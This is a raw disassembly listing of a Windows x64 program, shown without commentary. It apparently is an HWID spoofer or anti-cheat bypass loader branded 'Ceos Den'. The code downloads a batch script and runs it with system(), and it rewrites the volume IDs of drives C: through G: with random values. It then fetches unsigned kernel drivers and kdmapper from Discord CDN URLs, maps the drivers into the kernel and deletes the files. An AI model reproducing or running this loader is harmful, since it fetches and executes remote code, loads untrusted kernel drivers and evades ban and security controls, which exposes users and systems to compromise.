movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rax + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [r8 - 0x10], xmm1
movups xmm0, xmmword [rdx + 0x80]
movups xmmword [r8], xmm0
movups xmm1, xmmword [rdx + 0x90]
movups xmmword [r8 + 0x10], xmm1
movups xmm0, xmmword [rdx + 0xa0]
movups xmmword [r8 + 0x20], xmm0
movzx eax, word [rdx + 0xb0]
mov word [r8 + 0x30], ax
movzx eax, byte [rdx + 0xb2]
mov byte [r8 + 0x32], al
mov byte [r9 + 0xb3], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r13
mov qword [rbp + 0x1f0], 0xf
mov ecx, 0x20
call fcn.14004d650
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e8], 0x18
mov qword [rbp + 0x1f0], 0x1f
movups xmm0, xmmword [str.C:Program_Files236.bat]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14004ffb8]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__start_236.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r15d, eax
mov eax, 0x7482296b
imul r15d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2328
sub r15d, ecx
add r15d, 0x3e8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r12d, eax
mov eax, 0x7482296b
imul r12d
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2328
sub r12d, eax
add r12d, 0x3e8
mov edx, r12d
lea rcx, [rbp - 0x48]
call fcn.140003a00
nop
mov edx, r15d
lea rcx, [rbp - 0x28]
call fcn.140003a00
nop
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
sub rax, r8
mov ebx, 0x23
lea r14, str.cd_C:Program_Files__Volumeid_C:
cmp rax, rbx
jb 0x14000272c
lea rax, [r8 + 0x23]
mov qword [rbp - 0x18], rax
lea rdi, [rbp - 0x28]
cmp rcx, 0xf
cmova rdi, qword [rbp - 0x28]
lea rax, [0x14005001b]
cmp rax, rdi
jbe 0x1400026f0
lea rax, [rdi + r8]
cmp r14, rax
ja 0x1400026f0
cmp rdi, r14
ja 0x1400026e8
mov rsi, r13
jmp 0x1400026f3
mov rsi, rdi
sub rsi, r14
jmp 0x1400026f3
mov rsi, rbx
inc r8
lea rcx, [rdi + 0x23]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, rsi
lea rdx, [r14 + 0x23]
add rdx, rsi
lea rcx, [rdi + rsi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x28]
jmp 0x140002742
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140004150
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400027ae
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x58]
mov word [rax + rcx], 0x2d
lea rax, [rsp + 0x58]
jmp 0x1400027c6
mov qword [rsp + 0x20], 1
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140003dd0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x38]
lea rcx, [rbp + 0x18]
call fcn.140003f60
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rcx, qword [rbp + 0x18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14000284a
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002845
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000289c
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002896
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002896
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400028dc
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14000292d
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002928
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002928
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000297c
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002977
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
mov edx, r12d
lea rcx, [rbp - 0x48]
call fcn.140003a00
nop
mov edx, r15d
lea rcx, [rbp - 8]
call fcn.140003a00
nop
mov r8, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
sub rax, r8
lea r14, str.cd_C:Program_Files__Volumeid_D:
cmp rax, 0x23
jb 0x140002a29
lea rax, [r8 + 0x23]
mov qword [rbp + 8], rax
lea rdi, [rbp - 8]
cmp rcx, 0xf
cmova rdi, qword [rbp - 8]
lea rax, [0x140050043]
cmp rax, rdi
jbe 0x1400029ed
lea rax, [rdi + r8]
cmp r14, rax
ja 0x1400029ed
cmp rdi, r14
ja 0x1400029e5
mov rsi, r13
jmp 0x1400029f0
mov rsi, rdi
sub rsi, r14
jmp 0x1400029f0
mov rsi, rbx
inc r8
lea rcx, [rdi + 0x23]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, rsi
lea rdx, [r14 + 0x23]
add rdx, rsi
lea rcx, [rdi + rsi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 8]
jmp 0x140002a3f
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.140004150
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140002aa6
lea rax, [rcx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rcx], 0x2d
lea rax, [rsp + 0x78]
jmp 0x140002abe
mov qword [rsp + 0x20], 1
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140003dd0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x38]
lea rcx, [rbp + 0x38]
call fcn.140003f60
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140002b42
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002b94
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002bd3
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140002c23
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140002c72
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
mov edx, r12d
lea rcx, [rbp - 0x48]
call fcn.140003a00
nop
mov edx, r15d
lea rcx, [rbp + 0x78]
call fcn.140003a00
nop
mov r8, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
sub rax, r8
lea r14, str.cd_C:Program_Files__Volumeid_E:
cmp rax, 0x23
jb 0x140002d28
lea rax, [r8 + 0x23]
mov qword [rbp + 0x88], rax
lea rdi, [rbp + 0x78]
cmp rcx, 0xf
cmova rdi, qword [rbp + 0x78]
lea rax, [0x14005006b]
cmp rax, rdi
jbe 0x140002cec
lea rax, [rdi + r8]
cmp r14, rax
ja 0x140002cec
cmp rdi, r14
ja 0x140002ce4
mov rsi, r13
jmp 0x140002cef
mov rsi, rdi
sub rsi, r14
jmp 0x140002cef
mov rsi, rbx
inc r8
lea rcx, [rdi + 0x23]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub rbx, rsi
lea rdx, [r14 + 0x23]
add rdx, rsi
lea rcx, [rdi + rsi]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x78]
jmp 0x140002d3e
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov rdx, rbx
lea rcx, [rbp + 0x78]
call fcn.140004150
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140002da0
lea rax, [rcx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x68]
mov word [rax + rcx], 0x2d
lea rax, [rbp - 0x68]
jmp 0x140002db7
mov qword [rsp + 0x20], 1
mov edx, 1
lea rcx, [rbp - 0x68]
call fcn.140003dd0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x38]
lea rcx, [rbp + 0x58]
call fcn.140003f60
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rcx, qword [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x140002e3b
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x58], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002e8d
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140002ecb
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ec6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ec6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004d694
movdqa xmm0, xmmword [0x14005d5e0]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea rcx, [rbp + 0x78]
call fcn.1400039a0
nop
lea rcx, [rbp - 0x48]
call fcn.1400039a0
mov edx, r12d
lea rcx, [rbp + 0x18]
call fcn.1400011c0
mov rbx, rax
mov edx, r15d
lea rcx, [rbp + 0x38]
call fcn.1400011c0
nop
mov r8, rax
lea rdx, str.cd_C:Program_Files__Volumeid_F:
lea rcx, [rbp + 0x58]
call fcn.140003be0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003d10
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140003db0
mov rcx, rax
call fcn.140003990
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x48]
call fcn.1400039a0
nop
lea rcx, [rsp + 0x38]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x58]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x38]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x18]
call fcn.1400039a0
mov edx, r12d
lea rcx, [rbp + 0x18]
call fcn.1400011c0
mov rbx, rax
mov edx, r15d
lea rcx, [rbp + 0x38]
call fcn.1400011c0
nop
mov r8, rax
lea rdx, str.cd_C:Program_Files__Volumeid_G:
lea rcx, [rbp + 0x58]
call fcn.140003be0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003d10
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140003db0
mov rcx, rax
call fcn.140003990
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x48]
call fcn.1400039a0
nop
lea rcx, [rsp + 0x38]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x58]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x38]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x18]
call fcn.1400039a0
xor r9d, r9d
lea r8, str.Ceos_Den
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x1d8]
call fcn.1400039a0
nop
lea rcx, [rbp + 0xf8]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x1f8]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x118]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x218]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x138]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x158]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x98]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x178]
call fcn.1400039a0
nop
lea rcx, [rbp + 0xb8]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x238]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x198]
call fcn.1400039a0
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400039a0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400039a0
mov eax, dword [0x140065bcc]
cmp eax, 1
jne 0x140003185
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:Program_FilesCRK.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1193675172696297493_CRK.sys_ex65ad93a2is659b1ea2hm83ca34a326c3ec6e35ec2d04de66331510a9f05da6af8e2b0b30e594e4115f56
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:Program_Fileskdmapper_Release.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1191890959861035178_kdmapper_Release.exe_ex65a715f5is6594a0f5hm2b722499330b697ee31240b4a94b9c307d3e973495a631621dc775aa7614f508
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_CRK.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_FilesCRK.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea r8, str.Ceos_Den
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x140065bcc]
cmp eax, 2
jne 0x140003220
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:Program_Fileseacbe_new.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1192946718887661658_eacbe_new.sys_ex65aaed35is65987835hm3cbb7ee61f3c7f0620eb9d42695dbd63c0252db1267206a1a446f06caa571794
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:Program_Fileskdmapper_Release.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1191890959861035178_kdmapper_Release.exe_ex65a715f5is6594a0f5hm2b722499330b697ee31240b4a94b9c307d3e973495a631621dc775aa7614f508
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_eacbe_new.sys.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Fileseacbe_new.sys.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea r8, str.Ceos_Den
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140014980
mov rcx, qword [rbp + 0x258]
xor rcx, rsp
call fcn.14004d630
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret